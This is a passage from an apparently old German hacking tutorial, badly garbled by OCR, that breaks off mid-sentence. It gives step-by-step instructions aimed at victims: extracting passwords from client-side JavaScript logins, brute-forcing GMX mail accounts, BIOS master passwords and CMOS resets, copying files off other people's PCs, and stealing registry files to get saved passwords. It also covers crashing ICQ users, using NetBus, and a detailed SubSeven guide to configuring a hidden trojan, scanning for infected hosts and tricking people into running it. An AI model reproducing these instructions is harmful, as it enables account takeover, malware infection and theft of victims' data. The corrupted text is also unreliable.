auf gebaut sein. In der Regel wird diese Abfrageart verwendet sie ist im
Net z sehr oft aufzufinden. Auf der Seite wo der Link zur Passwortabfrage
steht wird

fol gender Quelltext verwendet:

<a href="" ond i ck="wi ndow. open(' Abfrage. htnl ', ' pass',

't ool bar =no, | ocati on=no, di rect ori es=no, st at us=no, nenubar =no, scrol | bar s=no,
resi zabl e=no, copyhi st ory=no, wi dt h=300, hei ght=175"); return

fal se; ">Passwort abfrage</a> Hi erbei wird angegeben wel cher Inhalt im
Fenster stehen soll. Es

wird in der ersten Zeile definiert. Dort steht, dalR die Date

"Abfrage. htm'

gel aden werden soll. In der Datei "Abfrage.htm " ist fol gender

Inhalt enthalten: <script src="passdata"></script>

<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LI NK="#FF0000" VLI NK="#000080"

ALl NK="#000080" >

Geben Sie Name & Passwort ein

<f or m nane="pass" >

<t abl e>

<tr><td align=right><b>Nane: </b></td><td><input type="text"
nane="passnane" size=15></td></tr>

<tr><td align=right><b>Passwort: </b></td><td><input type="password"
nane="passwor d"

size=15></td></tr>

<tr><td align=right></td><td>

<cent er><i nput type="button" val ue="Absenden" ondick="verify();"><input
type="reset"

val ue="L6schen"></cent er >

</[tr></td></table> In diesem Teil werden nur die Abfragefelder definiert
und das wi chtigste

i st auch noch in diesem Quelltext enthalten. in der ersten Zeile wird
angegeben wo di e Benutzernamen und Paswdrter gespeichert werden.

In der Datei "passdata" werden alle Passwdrter und Benutzernanmen

abgespei chert. Das heif3t: Die Datei "Abfrage.htm " lielst die Passwdrter
aus der Datei passdata aus. Jetzt ist natirlich interesant was in der Date
passdata enthalten ist. Hier seht ihr den Quelltext: function verify(){
checknanme = docunent. pass. passhane. val ue

checkpass = docunent. pass. password. val ue

full pass = checkname + " " + checkpass

marker = fal se users = 3 //Anzahl der Benutzer i.B. 3

userlist = new Array

userlist[0] "Nanmel Passwort 1"

userlist[1] "Nanme2 Passwort 2"

userlist[2] "Name3 Passwort3" for (i = 0; i < users; i++){
if (fullpass == userlist[i]){
opener.location = "l hreGehei nseite. htm "

mar ker = true
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b}

if (marker == true){

wi ndow. cl ose()

}

el se {

alert ("Si e haben ei nen Fal schen Nanen angegeben, bitte w ederholen Sie die
Ei ngabe! ")

} I'm2 Block von oben wird angegeben wi eviele User eingetragen sind
(3 User) und wel che Benutzernanmen und Passworter di ese verwenden.

Di e Usernanen und Passwdrter stehen in fol genden Teil der Abfrage:
userlist[O0] "Namel Passwort 1"

userlist[1] "Name2 Passwort 2"

userlist[2] "Nanme3 Passwort 3"

Bei m ersten User |autet der Benutzername: Nanel und das Passwort:
Passwortl. Umjetzt alle diese Daten zu erhalten missen sich sich alle
drei Files von demjeweiligen Server runterziehen. Also erst auf den
Li nk zur Passwort-Abfrage klicken und das nit der rechten Maustaste
um dann in dem Menu, was erscheint auf "VerkuUpfung speichern

unter" anzuklicken. Speichern sie die Datei auf ihrem Desktop. Sie
nmissen nun diese Datei nmit dem Editor 6ffnen und gucken wel che
Datei von dort aus geladen wird z.B. Aufruf.htm . Lade diese Date
dann vom Server runter indem du die gesante Adresse eingibst

mt der HTM.-File am Ende. Dann auf Quelltext Kklicken, im Browser
und runerl aden auf den Desktop

Jetzt nust du wieder die File | aden und gucken aus wel cher Date

di e Passworter und Benut zer nanen ausgel esen werden. Lade auch di ese
vom Server runter und 6ffne sie umdie Passwirter w e oben zu

| esen rauszufinden. Jetzt hast du die Passwdrter und Benutzernanen
und du nust dich nur Uber den Link zur Passwortabfrage einl oggen
und das PWund den Usernane angeben

GWX- Account hacken:

Du gehst auf ywwv. gnx.dé und giebst die Adresse deines Opfers ein, und auch
irgend ein passwort, das naturlich nicht funzt. Ich komt jetzt auf einen
Bi | dschirm der euch erzahlt das ihr das passwort fal sch eingetippt habt.

I hr macht jetzt Rechtsklick und | asst euch den Sourcecode anzeigen. |hr
findet nun irgenwo in der mtte eine nehrstellige Zahl die 7 oder 8
Stellen lang sein durfte. Dies durfte ungeféahr so aussehen: <td

wi dt h="196"><i ng src="i mages/| ogo_de. gi f" w dt h="196" hei ght ="64"

al t="aw"></t d>

wi dt h="1" height="1" Alt=""></td>

<td align="center"> eure | P die Nunmer des Opfers
(bis zum"?") lhr schreibt sie euch auf und startet wwHack. Klickt auf
"Access" und auf "pop3 Emai acct"

I hr gebt nun die Numrer des Opfers ein (hier 2938213) und als Host | MMER
"pop. gnx. net" (zuni ndest bei gnx)

I hr sucht euch jetut nur noch eine passende Passliste raus, gebt sie an
und schon gehts | os. wwHack speichert automati sch nach einer bestimten
Anzahl von connects, so das nman bei einem Absturz fast nahtl os anknipfen
kann! (voreinstellung 100 connects) Ein Tipp: Bevor ihr das alles macht,
versucht die dummen Standartpasswirter wie: "12345, abcde, NanenDesUsers,
Passwort" usw...ihr wisst was ich neine! Wenn ihr viel didck habt dann
spuckt er nach ein paar M nuten/ Stunden/ Tage das richtige Passwort aus!
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Hacken ei nes | ocal en Rechners:

Mt "Lokal e Rechner" neine ich PC s bei denen du direkt davor sitzt. Und
m t hacken nei ne
ich an di e Datei en heranzukonmen.

--==[ Bl OS- Passwort] ==- -

Die erste Hirde ist das Bl Os-Passwort. Es gi bt zwei verschi edene Bl Cs-
Passwort er: das User-Passwort und das Adni ni strator-Passwort. Das User -
Passwort wird beim Start des Rechners abgefragt und das Adni ni strator-
Passwort beim Starten des BI OS. Das User-Passwort hacken:

1. Mgl i chkei t) Master Passwdrter ausprobieren(Aneri kani sche
Tast enbel egung!!'!') ] AWARD]
"?awar d"
"alLlLy"

" aPAf "

" AWARD? SW
"awkwar d"
"awar d"
"award_?"
"awar d. sw'
"award sw'
"AWARD SW

" AWARD SW

" AWARD PW
"awar d_ps"

" 589589"

" 256256"
"01322222"

" 256256"

"Bl C8"

"bi ostar"

"bi osstar"

" CONCAT"

" CONDO'
"condo"

"ef mukl "
"HELGA- S"
"HEW TT RAND'
"HLT"

"j262"

llj 64"

"l kw peter”
"l kwpet er"

" SER'

" SKY_FOX"
"snmukL"

" SW TCHES_SW
" Sxyz"

" SZYX"
"ttptha"

n V\de n
"wpeter"

"zj aaade" JAM[ "AM"
"ALMI."
"aammi"

" AM ~"

"am am "

"AM . KEY"

" AM SETUP"

" AM ?SW
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"AM _SW

" 589589"

"am . kez"

n am on

"hel gaRs" ] VOBl S& BM
"merlin"

2. Mbgl i chkei t)
Bei ausgeschal tetem Rechner die ElINFG taste gedrickt halten und den Rechner
ei nschal ten.

3. Mgl i chkei t) Rechner aufschrauben und auf dem Mot herboard ei nen Junper nit
dem Nanen Cl ear RTC, PWRD, O ear CMOS oder RTCLR unstecken. Dann nusst du
den Rechner kurz an und wi eder aussschal ten. Danach den Junper wi eder

zurr ickst ecken und den Rechner booten.

4. Mbgl i chkei t) Rechner aufschrauben und die Batterie fir nmindestens 1.Stunde
entfernen. Dadurch wird der CMOS Spei cher gel 6scht und die Bl OS Defaul t
Ei nstel l ungen ei ngel esen. Adni ni strator-Passwort: 1. Mglichkeit)Wnn man
W ndows geboot et bekomt ein Tool wie !BICS einsetzen. 2. Mglichkeit)Von
Di skette booten und !Bl OS ei nsetzen. 3. Miglichkeit)Von Diskette oder
W ndows boot en dann Debug Uber di e Ei ngabeaufforderung
starten und fol gendes ei ngeben:
o 70, 2E
o71.0

q

--==[ Dat ei en kopi eren] ==--

Wenn du nicht in das Betriebssystem rei nkomst nmusst du ein kleines OS von
ei ner Di skette booten. Aber nicht die Wndows 98 Boot Disk ,weil du nit der
kei ne Chance hast an die Dateien einer ext2fs Partition zu kommen. Lad dir

am besten eine Linux-Mnidistribution runter.lch enpfehle dir TOM s

RBT(Mww. t ons. net) . Nachdem du die Mni Distribution gestartet hast gibst
du "fdisk" ein und verschaffst dir erstmal einen Uberblick Uber die
Partitionen. Beende fdisk und nounte die erste Partition:

nkdir ¢

mount -t vfat /dev/hdal c

cd ¢

I's

Nun kannst du dir alle Datei en anschauen kopi eren (auf Diskette oder Zp
falls deine Mni Distribution es unterstitzt)
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Trojaner

Di e Benut zung der Wnsock in ihrer Applikation:

Beschr ei bung:

Das Wnsock Control ist ein nmachtiges Steuerel enent
und kann in ihrer Applikation benutzt werden, um Daten
exakt und sicher uber eine Verbindung zu Ubertragen.
In diesem Arti kel werde ich etwas tiefer in die

Grundl agen des W nsock Control s ei ngehen.

Di e Protokolle:

Das Wnsock Control ist vielseitig in den Mglichkeiten
Dat en zwi schen zwei Conputern auszutauschen. Es kann
nmt zwei verschi edenen Protokoll en ungehen:

TCP/ 1 P und UPD.

TCP/ | P:

TCP/ 1P ist das plattfornmunabhéangi ge Standard-

net zwer kprot okol I . TCP/I P ist eine Abkurzung fur

Transm ssion Control Protocol/Internet Protocol.

Dat en werden in Paketen versendet, auch als Datagrame
bezei chnet. Sie bestehen aus ei nem Kopf [ Header]

und appl i kati onsabhdngi gen Daten. Der Header bei nhaltet
I nf ormati onen Uber das Ziel und der Herkunft [ Source]
des Paketes. |IP ist nicht sehr zuverl assig, solange es
kei ne Garanti e dafir gibt, dass die Pakete in der
richtigen Rei henfol ge ankonmen. Dies ist dann der G und
war um das TCP Prot okol | ei ngebunden wurde, um sich zu
ver gewi ssern, dass die Daten auch in der richtigen

Rei henf ol ge ankonmen. Diese Art von Protokoll bezeichnet
man al s verbi ndungsorientiertes Protokol!l [connection-
oriented protocol].

D es bedeutet, dass die Conputer, um Daten austauschen
zu koénnen, sich zuerst verbinden niissen mt ei nem

"drei - Wege- Ver bi ndungsauf bau" [three-way handshake].

UDP:

UDP steht far "User Data Protocol”. Im Gegensatz zu TCP
braucht UDP kei ne bestehende Verbi ndung um Daten an ei nem
Stick zu senden. UDP ist nicht enpfehlenswert, wenn nan
sichergehen will, dass alle Daten vom Cienten so

enpf angen werden wi e sie verschickt wurden. UDP wird

nor mal er wei se benut zt, um "streamnm ng audi 0" und "-vi deo"
Uber das Internet zu Ubertragen. Da UDP kei ne Verbi ndung
vi a handshake bendtigt und so nicht sichergeht, dass der
Client alle Daten bekomt, ist hier die Geschw ndigkeit
einiges schneller als lber das TCP/I P Protokoll.

Ver bi nden:

Zu ei nem anderen Conputer zu verbinden ist sehr sinpel.

In di esem Bei spiel, benutze ich das TCP/I P Protokoll.

Um zu ei nem anderen Conputer zu verbi nden nuss der Conputer

auf ei ne Verbindung warten: Wnsock. Local Port = 1234

W nsock. Li sten Zuerst wahlen wir den Port, an dem verbunden werdem soll.
In diesemFall ist es Port 1234. Danach fihren wir die

"Listen" Methode aus. Das Control wartet nun bis auf eine

Ver bi ndung am Port oder bis es abgebrochen wurde.

Der andere Conputer benutzt fol gendes, um di e Verbi ndung

auf zubauen: W nsock. Connect "127.0.0.1", 1234 Das erste Argunment ist der
Host, zu dem di e Ver bi ndung



auf gebaut werden soll. Wenn man sich in ei nem Net zwerk

befi ndet kann man auch den Host nanen des anderen Rechner

verwenden. Das zweite Argunent ist die Port Nummer. Sobal d di e Connect

Met hode ausgef ihrt wurde wird das

Connecti onRequest Ereignis bei dem Renot eConputer ausgel 6st.

Dort nuss der Rechner die Verbindung mt fol gendem Code

akzeptieren: Private Sub W nsock_Connecti onRequest (ByVal requestlD As Long)
W nsock. d ose
W nsock. Accept requestID

End Sub Nun sind wir kurz vor der endgultigen Verbindung.

Der nachste Schritt ist, die Accept Methode zu benutzen,

um si cherustell en, dass di e Verbi ndung auf gebaut ist.

Dat en senden:

Nun, da di e Verbi ndung zw schen Conputer A und B zustande

gekonmen i st, kann man Daten senden und enpfangen. Um Dat en

zu senden, benutzt man den send data Befehl.

H er ist nun der Code, um eine Textzeile an Conputer B

zu senden: W nsock. SendData "H Conputer B!" Einfach, nicht? Das W nsock
Control ist sehr einfach, da

es einen vor der Wnsock APl fernhalt, die konpliziert

wer den kann.

Dat en enpf angen:
Da nun Daten gesendet wurde, will nman ja auch wel che
enpfangen. Dies ist imPrinzip genauso sinpel w e das
Senden. Wenn Dat en ankommen, | 6sen die das data arrival
Ereignis aus. Um di e ankommenden Daten in ei ner Textbox
angezei gt werden sollen, benutzt man fol genden Code: Private Sub
W nsock _DataArrival (ByVal bytesTotal As Long)
DimsData As String
W nsock. Get Dat a sDat a
MsgBox sDat a
End Sub Zuerst deklariert man die Variable, die die eingehenden
Daten tragen soll. Dann beutzen wir die Get Data
Met hode um di e Daten zu enpfangen, und schliesslich
gibt man sie in der Messagebox aus.

Daten interpretieren:
Manchmal will man mehr als nur die Daten in einer Textbox
anzeigen. Unden Datensatz zu interpretieren benutzt
man den | F-Befehl, oder das SELECT Statenent, wie z.B: Private Sub
W nsock_Dat aArrival (ByVal bytesTotal As Long)
DimsData As String
W nsock. Get Dat a sDat a
Sel ect Case sData
Case "ASK"
I nput Box "What is your nane?", "Question"
Case "EXIT"
MsgBox "Do you want to exit?"
Case El se
MsgBox sDat a
End Sel ect
End Sub Zuerst speichern wir w eder die eingehenden Daten in
einem String. Dann dann machen wir die Fallunterschei dung
und je nach demlInhalt der Variable handeln wir anders.
Man kann auch durch den String parsen und verschi edene
Bef ehl e ausl esen, die aufgeteilt wurden.
Wozu braucht man di es? Ganz ei nfach, wenn nan ei nen
Server progranmmert, der textbasiert die Daten von
einemdienten erhalten soll.
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Zusanmenf assung:

Di es war eine sehr kurze Einfihrung in die Wnsock

Programm erung. Di es bedeutet, dass dies nur eine |dee

geben soll wie es funktioniert und was nman danmit alles

anstel | en kann.

Fir tiefergehende Einblicke sollte man sich fol gendes

Buch Uber die | nternetprogramm erung anschauen: Visual Basic 6 Internet
Programm ng von Carl Franklin.

Tr oj aner:

H er geht es hauptsachlich um Beschrei bungen, das Aufspiren, Entfernen und
Tips rund umdie kleinen Helfer imlInternet. D ese Frage habe ich mr

sof ort nach der Veroéffentlichung von Netbus gestellt. Mttlerweile kann
JEDER "hacken" (was man so was als hacken bezei chnen kann). Nachdem Net bus
und Back Orifice erschienen waren, ist es erschreckend, w e schnell sich
doch di e Hackerszene um "Micht egern Hacker" ausgedehnt hat. Jedes Kkl ei nes
Ki nd, das noch nicht einmal nmehr DOS Befehle kennt, kann per einfachen
Mauskl i ck destruktive Aktionen mittels Trojaner auf anderen Rechnern

ausf ihren. Ist das nicht erschreckend ??? Natirlich sei damt nicht gesagt,
das di e Troj aner Anfangerwerkzeuge sind, denn wel che Ausw rkungen so

ei n Programm haben kann, notchte ich euch noch in dieser Lesson zeigen
Um ni cht sel bst Opfer eines solchen Kiddies zu werden, habe ich diese
Lesson kurzerhand erfasst. Sie soll euch schiitzen vor so Kiddies, die

ni chts besseres zu tun haben, als mt Netbus, BO oder &hnliches auf

euren Kisten runzuspielen. Als erstes wollen wir die Frage ersteinma

kl &ren, was Uberhaupt Trojaner sind, und wi e diese aktiviert werden.

Troj aner sind Programme, die aus zwei Teil en bestehen: dem Client und dem
Server. Und wie das im Netzwerk nunmal so ist, liefert der Server die

I nformationen, die der dient sich von i hmschicken | asst.

Was sagt al so unser |ogi sche Menschenverstand zu di eser Aussage ?7??

Der dient ist der Teil, der bei uns auf dem Rechner liegt, mt demwr
dann spater auf die infizierte Kiste zugreifen kénnen. Der Server Teil wrd
ganz einfach bei einem Opfer ausgefihrt, das durch diese Aktion schon
infiziert ist. Das heisst fir uns nur noch: Cient hochfahren, |P Adresse
ermtteln und nmt dem Server verbinden. Mehr steckt hinter dem ganzen
nicht. Nun, der Teil ware abgehakt. Jetzt kommen wir hier an den Punkt, wo
i ch euch die diversen Trojaner ein bischen naher erklaren nichte. Deshalb
zéhl e ich euch nun die Nanen und funktionen der Trojaner auf:

Back OrificeBack Orifice wirbelte nach der Veroéffentlichung hei sse

Di skussi onen auf BO User geni essen derzeit in Version 1.2 nachstehende
Features: Programme, Dateien & Verzeichnisse auflisten, |&schen, kopieren
und ver andern; Rebooten; Programme beenden; Tast aturei ngaben mtschnei den
Passworter erspahen;

Deep Throat Deep Throat ist ein neuer Trojaner, der "nur" eine kleine
Auswahl an Funktionen bietet w e: CDRom 6f f nen/ schli essen; Rebooten
Taskbar verstecken; Mnitor an/aus; Passwdrter auslesen; den Bildschirm
"fotografieren"; die Person zu einer URL schicken und einen FTP Server
er 6f f nen

Executor ist das bbdseste "Spielzeug" was mr bis jetzt in die Finger
gekonmen ist. Der Executor ist namlich ein rein destruktiver Trojaner
dessen Sinn es ist Dateien zu elimnieren und irgendwel che Funktionen
ausser Gefecht setzen

Net bus ist der Vater aller Trojaner und bietet in der neusten Version 2.0
fol gende Features: umes kurz zu halten, denkt euch (fast) alle Features
zusanmen, noch viele nmehr, progranmiert danach ein Programm und i hr

erhal tet Netbus
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PhaseZer oPhaseZero i st eine Back Oifice Kopie, die ungefahr die gleichen
Feat ures enthalt.

Phi neas Troj anPhi neas ist eine Kopie von Back Orifice und enthdlt fast die
gl ei chen Features wi e BO besser ist hier jedoch, das man aus der Festplatte
seines Opfers einen FTP Server nmachen kann, der dann fir jedernmann
zugéanglich ist.

Wncrash ist ein weiterer heiss begehrter Trojaner, der Uber ein paar nette
Funktionen verflgt, die sonst noch kein anderer Trojaner besitzt: CAPS Lock
Bonben; Monitor aus/einschalten; alle Programe schliessen; Taskbar & Start
Button verstecken; den Bildschirm nhalt auf den Kopf stellen und den
Drucker dbefl uten.

b das all e gewesen sein sollen brauchen wir uns nicht fragen. Naturlich
waren dies nicht alle, aber wenn nman die alle erwdhnen wolle, so wire die
Li ste schon nach ei nem Update sofort w eder veraltet. Traurig aber wahr !!

Nachdem i ch euch nun einige Trojaner vorgestellt habe, nichte ich noch
weitere Tools fir die Trojaner prasentieren, z.B.: * Evil FTPein Back
Oifice Plugin, das aus eineminfizierten Geréat einen FTP Server nacht

* Net bus Scanner di eses kl ei ne Programm scannt Subnetze durch und zei gt

dabei alle infizierten Netbus Rechner * Netbus Hackerder Hacker dient zum
ei nfachen hacken, sollte ein Netbus Server nit einem Passwort versehen sein
Weiterhin existieren noch dutzende sol cher Plug-1lns oder Add-Ons fir die
Troj aner, die das Arbeiten nit ihnen i mrer noch erleichtern sollen. Kommen
wir nun zum eigentlichen Teil dieser Lesson, und wodurch di ese uberhaupt
entstand. Nehnmen wir also an, das wir nit einem Trojaner infiziert sind. Zu
allererst sollten wir erstnmal den Bereich der "verdachtigen" Trojaner

ei ngrenzen kdnnen (am weitverbreitesten i st Netbus). Dies geschieht ganz
einfach, indemwr die Cients diverser Trojaner ausfihren und als IP
Adresse unsere | okale (127.0.0.1) nehnen. Dort versuchen wir nun uns mt
uns sel bst zu verbinden. Sollte keine Verbindung stattfinden, kann es
dennoch sein, dass ihr verseucht seit, da der Server auch einen anderen
Port nutzen koénnte :-(((

| CQ al s Troj aner:

I st euch auch schon das kl ei ne Hauschen aufgefall en, dass manche | CQ

Benut zer neben i hrem Nanen haben? Es bedeutet, dass sie ei nen Webserver am
| auf en haben. Wenn i hr so einen findet konnt ihr tolle Sachen nmachen

1. 1CQ schlielen

2. Dateien angucken zu 1. | P Adresse des USERS

| hr brauch zuerst die | P Adresse des Users. Entweder dber "INFO', wenn sie
freigeschaltet ist oder ihr schickt dem User eine Message und firht danach
direkt "netstat -a" ind der MS-DOS Ei ngabeaufforderung aus. Dort seht ihr
unter "Foreign Address" eine Adresse nmit :1054 am ende.

Jetzt nift ihr nur noch "ping *.*.* * *:1054" (wobei *.*. * * * die Adresse
ist, die vor :1054 in der Tabelle stand) schreiben. Dan habt ihr die IP
Adresse. | CQ des USERS schl i el3en

Jetzt driickt ihr auf START und gebt bei AUSFUHREN fol gendes ein:

Tel net 127.0.0.1 80 (127.0.0.1 ersetzt ihr natdrlich durch die gefundene IP
Adr esse)

Danach mif3t i hr ENTER dricken und warten bis ihr drin seit.

Jetzt schreibt ihr "QUT' und wartet etwas...

Danach sollte der USER nicht nehr online sein ! zu 2. Dateien angucken
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Al so, zuerst braucht ihr wieder die | P Adresse (s. oben)
Danach geht ihr in euren Browser und schreibt:

| P Adresse, Datei die nman des Users sehen will sagt dem Server es handelt
sich umeine htm Seite

8 Punkte = 4 Verzei chni sse

zurick da man sich irgendwo unter C:\Progranmme befindet und man auf C:\
komen nufl Dann kommt eine Mel dungsbox, wo ihr die Datei speichrn wollt und
i hr kdénnt sie euch angucken

Ti ps:

Manche User sind zu faul fir dauernd i hre Passwbrte (z.B. Mil passwbrter)
ei nzugeben und spei cher die dann ab. Wenn ihr die Passwirter haben wollt,
mift i hr euch die systemdat und di e user.dat von dem Conputer runter

| aden. Al's nachstes geht ihr unter die Eingabeaufforderung (nicht das
Fenster sonder ihr miflt euren Computer entweder runter fahren als "I m M5
Dos Mbddus neu starten"” oder ihr drick am Start F8 und geht auf

"Ei ngabeauf forderung”). Dort mif3t i hr eure systemdat + user.dat irgendwo
anders hin sichern und die Datein dann durch di e gestohl enen systemdat +
user.dat ersetzen. Dann kénnt ihr euren Conputer nochnmal neu starten und
geht in den regedit von Wndows. Jetzt koénnt ihr etwas rungucken und nach
Passwort en suchen!

Ni cht vergessen, dass ihr eure eigene systemdat + user.dat nachher w eder
zurick kopiert! Es kann sein, dass es nicht bei allen Versionen von | CQ
kl appt .

Das PaRwort ei nes Net busservers zu bekomren:

I hr habt irgendeinemIdioten imNetz Netbus aufgespielt, ihmein Passwort
zugew esen, aber mittlerweil e das Passwort vergessen ??? No Prob, entweder
i hr nehnt einen der zahlreichen Passwort Hacker oder ihr nacht das ganze

nach der "Cyber-Art" :-)) Zuerst einnmal braucht ihr die IP. Solltet ihr
di ese nicht haben, dann lest nicht weiter !!! Ckay, wenn ihr die |IP habt,
dann macht einen Telnet auf die IP und den Port... Fir die etwas weniger

Fortgeschrittenen unter uns erklare ich es wie imrer Schritt fur Schritt...

- Start anklicken

- Ausf ihren anklicken

- folgene Zeile eingeben: telnet IP Port Es kénnte zum Bei spiel so
aussehen: telnet 212.122.32.45 12345

d.h. er connectet via Telnet auf die |IP 212.122.32.45 und auf den Port

12345, wo ja gewdhnlich Netbus liegt... Also weiter, wenn er euch
erfol greich connectet hat, dann steht da was wi e "Netbus v1.x" oder
So...gut !''l Nun tippt ihr imTelnet Term nal fol genden Befehl
"Password; 1;" naturlich wi eder ohne die "". Ckay, das war dann das

Passwort, und wenn i hr dann noch den arnen Deppen von Netbus befreien
wol I t, gebt ihr noch fol gendes ein: "RenoveServer;1;" Dann solltet ihr eine
Mel dung erhalten wie: "Connection was closed”. Sollte auf dem Renote
Rechner eine etwas altere Netbus Version laufen und der Befeh
"RermoveServer" nicht funzen, dann probiert nmal "Getlnfo;0;". Das dirfte
dann Net bus gewesen sein.
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SubSeven:

Dies ist ein SubSeven Tutorial, in demeuch Schritt fdr Schritt die

wi chtigsten Funktionen von SubSeven erkl art werden. Die Infornmationen sind
ausschliefllich fur Lernzwecke gedacht! |ch Ubernehne kei ne Verantwortung
daf ir, dass diese Informationen fur illegale Zwecke gebraucht werden. |hr
durft dieses Tutorial vervielfaltigen und Uberall zum Downl oad anbi eten
Al'lerdings dirft ihr es nicht ohne neine Einwilligung verandern oder den
Aut or andern. 1. We bekomme ich SubSeven?

2. We nuss ich nmeinen Server kofigurieren?

3. We kome ich nit SubSeven an IP s?

4. Was kann ich mt SubSeven alles nmachen, wenn ich connected bin? 1. We
bekonme ich SubSeven:

SubSeven gi bt es auf vielen Seiten. Am besten geei gnet fir SubSeven ist die
offieziell e SubSeven Seite, wo es neben allen Versionen von SubSeven auch
noch viele Zusatze und Info's zu di esem Programm gi bt. Geht einfach auf

http: /ww. sub7hel’p."dé und klickt euch zum Downl oadberei ch. Ich enpfehle
die Version 2.1, da die Version 2.2 noch viele Fehler enthalt (Stand
28.5.00). Aulledem solltet ihr euch noch den gepachten Server runterl aden
bei demdie ICQ Notification 100% g funktioniert. Mehr dazu kommt spater
Auch noch zu enpfehlen ist der SubSeven Renover, weil ihr damt euren

ei genen PC sdubern konnt, wenn ihr den SubSeven Trojaner zu Testzwecken auf
dieseminstalliert habt. Ganz wichtig ist auch, dass ihr euch den Joi ner
runterl adet, auch dazu nehr spater. Ich enpfehle euch auch, dass
Messageboard auf der SubSeven Seite zu | esen, da dort viele Probleme, auf
die ich in diesem Tutorial nicht eingehen kann (dafir sind es zu viele),
beschri eben und gel 6st sind. 2. We nuss ich neinen Server konfigurieren
Nachdem i hr SubSeven in einen Ordner entpackt habt (man nuss nichts
installieren), niisst ihr den Server, wo die I CQ Notification 100% g
funktioniert, in das gleich Verzeichniss entpacken, sodass dieser den

ei gentlichen Server Uberschreibt. Nun fudhrt ihr die Datei "editserver.exe"
aus und ihr bekomm den Server-Editor. In diesen nisst ihr nun erstm

ei nen vorhandenen Server reinladen. |hr drickt einfach auf "Browse" und
wahlt dann den Server aus. Nun koénnt ihr mt der Konfiguration beginnen

Bei "startup nethods" kénnt ihr wdhlen, in welche Datei sich der Server
eintragen soll. Wenn ihr ihn gut verstecken wollt, wahlt "less known

met hod" und " _not_known net hod" aus. Da ist der Server gut versteckt. Bei
"Notification Options" kénnt ihr wahl en, Uber welchen Weg ihr inforniert
werden wol It, wann euer Opfer online ist. Ambesten ist es, wenn i hr euch

I CQ (http://kicknme.to/warezplanet hier gibt's es die neueste Version)
besorgt und es nit |1 CQ nacht. Dazu macht ihr einfach einen Haken in das
Kast chen und tragt dahinter eure | CQ Nunmmer ein. Mt der IRC-Notification
und der eMil-Notification funktioniert es genauso. Aullerdem kénnt ihr dort
noch einen "victimnanme" auswdhl en. Di eser Nanme erscheint dann bei der
Notification, sodass ihr w sst, welche eurer Opfer gerade online ist. Bei
"installation" konnt ihr verschi edene Di nge konfigurieren Zuerst koénnt ihr
auswahl en, an wel chem Port der Server starten sollt. Am besten ist es wenn
i hr wahlt "start Server on port" und dann den vorgegebenen Port |asst,
damt auch andere auf den Trojaner zugreifen kénnen. Wenn ihr nadmich "use
random port"” auswdhlt, wird i mer ein anderer, beliebiger Port ausgewdhlt.
Bei "server passwort" kénnt ihr euren Server nit einem Passwort schitzen
Dadurch kénnen nur diejenigen auf den Server zugreifen, die dieses Passwort
haben. Lasst diese Option aber bitte weg, danit auch andere auf den Server
zugrei fen kénnen. Wenn i hr | anger i m Geschaft seid, und schon ofters
gescannt habt, wisst ihr wie &rgerlich server passwdrter sind. "protect
server port and passwort” nisst ihr widhlen, wenn ihr wollt, dass man die

Ei nstel l ungen nicht nmehr &ndern kann, wenn der Server bei dem Opfer
installiert ist. Die nachsten 3 Optionen sind unwi chtig. Bei den beiden

dar auf f ol genden Kastchen koénnt ihr fol gendes besti men. Bei m ersten kann
man ei ne Fehl ernel dung erstellen, die erscheint, wenn das Opfer den Server
ausfihrt. So merkt er vielleicht nicht, dass es ein Trojaner ist. Bei dem
nachst en Kastchen konnt ihr den Server nit einer EXE-Datei vebinden, sodass

76


http://www.sub7help.de

di ese ausgefihrt wird,wenn eigentlich der Server installiert wird. Hierzu
enpfehl e i ch aber irgendeinen Joiner, da diese Funktion bei dem SubSeven
Editor nicht so gut funktioniert. Ganz unten kénnt ihr noch einstellen,
dass der Server nicht verandert werden kann. So kénnen zwar andere auf ihn
zugrei fen, sie kénnen dann aber nich die I CQ Notification &dndern oder den
Server | 6schen. Diese Funktion ist sehr nitzlich. Wenn i hr nun euren Server
fertig konfiguriert habt, misst ihr nun noch dricken "save a new copy of
the server with the new settings" und euer eigener Server wi rd nun

gespei chert. 3. We komre ich nmt SubSeven an IP' s:

| P's kann man auf zwei verschi edene Arten bekommen. Die schnellste ist, das
i hr euch einfach eine IP scannt. Dazu startet ihr SubSeven, klickt auf
"connection" und dann auf "ip scanner”. Nun kénnt ihr eine haufig benutzte
| P ei ngeben, die Liste dazu gi bt es auch auf der SubSeven Seite. Am besten
ist die IP 152.170.*.* Da findet man i mer schnell was, allerdings sind das
PC s aus Anerika. Ihr gebt also in den ersten zwei Kastchen oben und unten
152.170 ein und in den anderen beiden oben 1.1 und unten 255.255. Bei dem
Port gebt ihr entweder 27374 oder 1243 ein, dies sind namich die neist
benut zten Ports bei SubSeven. Nun drickt ihr scann und ihr kdnnt unten
sehen, wo das Progranm gerade scannt. Das geht nun von 152.170.1.* bis
152.170. 255.* I mrer wenn es eine | P gefunden hat, zeigt es euch diese an
Wenn i hr also eine habt, gebt ihr sie bei "IP/UN' ein und gebt bei dem
Port den ein, den ihr unten auch eingegeben habt. Nun drickt ihr einfach
connect. Entweder unten steht nun connected (Datunmf Uhrzeit usw.) oder es
konmt ein Fenster nit Passwortabfrage. In diesem Fall habt ihr Pech gehabt,
da i hr das Passwort ja nicht wisst. Imanderen Fall seid ihr mt dem Opfer
connected und kénnt nun zum ndchsten Punkt gehen. Die zweite Mglichkeit,
an | P's zu kommen ist, das ihr selber Opfer mt einem Trojaner infiziert,
denn dann bekommt ihr automatisch die notify, wenn das Opfe online geht.

I hr brauch dann nur noch die IP und den Port, die in der Notify stehen be
SubSeven ei nzugeben und auf connect dricken. Dann gebt ihr euer Passwort
ein, falls ihr den Server mt Passwort konfiguriert habt und ihr seid DRIN.
I hr kénnt andere infizieren, indemihr ihnen den Server schickt, den ihr
durch den Joiner mit einem anderen Programm davor gejoint habt. Nun
schrei bt ihr ihnen einfach, dass die Anlage ein |ustiges Programmist und
wenn sie euch vertrauen, dann 6ffnen sie die Anlage. Nun startet das
Programm was sie aber nicht nerken ist, dass sich SubSeven i m Hintergrund
installiert. Seid aber vorsichtig, denn der SubSeven Trojaner wird von
aktualisierten Virenprogramen erkannt und das kann bése Fol gen fir euch
haben. 5. Was kann ich nit SubSeven alles machen, wenn ich connected bin:
Nun seid i hr connected und wi sst nicht, was ihr nmachen sollt. Kein Problem
denn ich zeige euch jetzt die wichtigsten Funktionen. Den Rest koénnt ihr
ganz ei nfach durch probi eren rausbekomen. Zuerst, wenn ich bei ei nem neuem
Vic bin, hole ich nmir seine pcinfo. Dazu einfach auf "connection" und dann
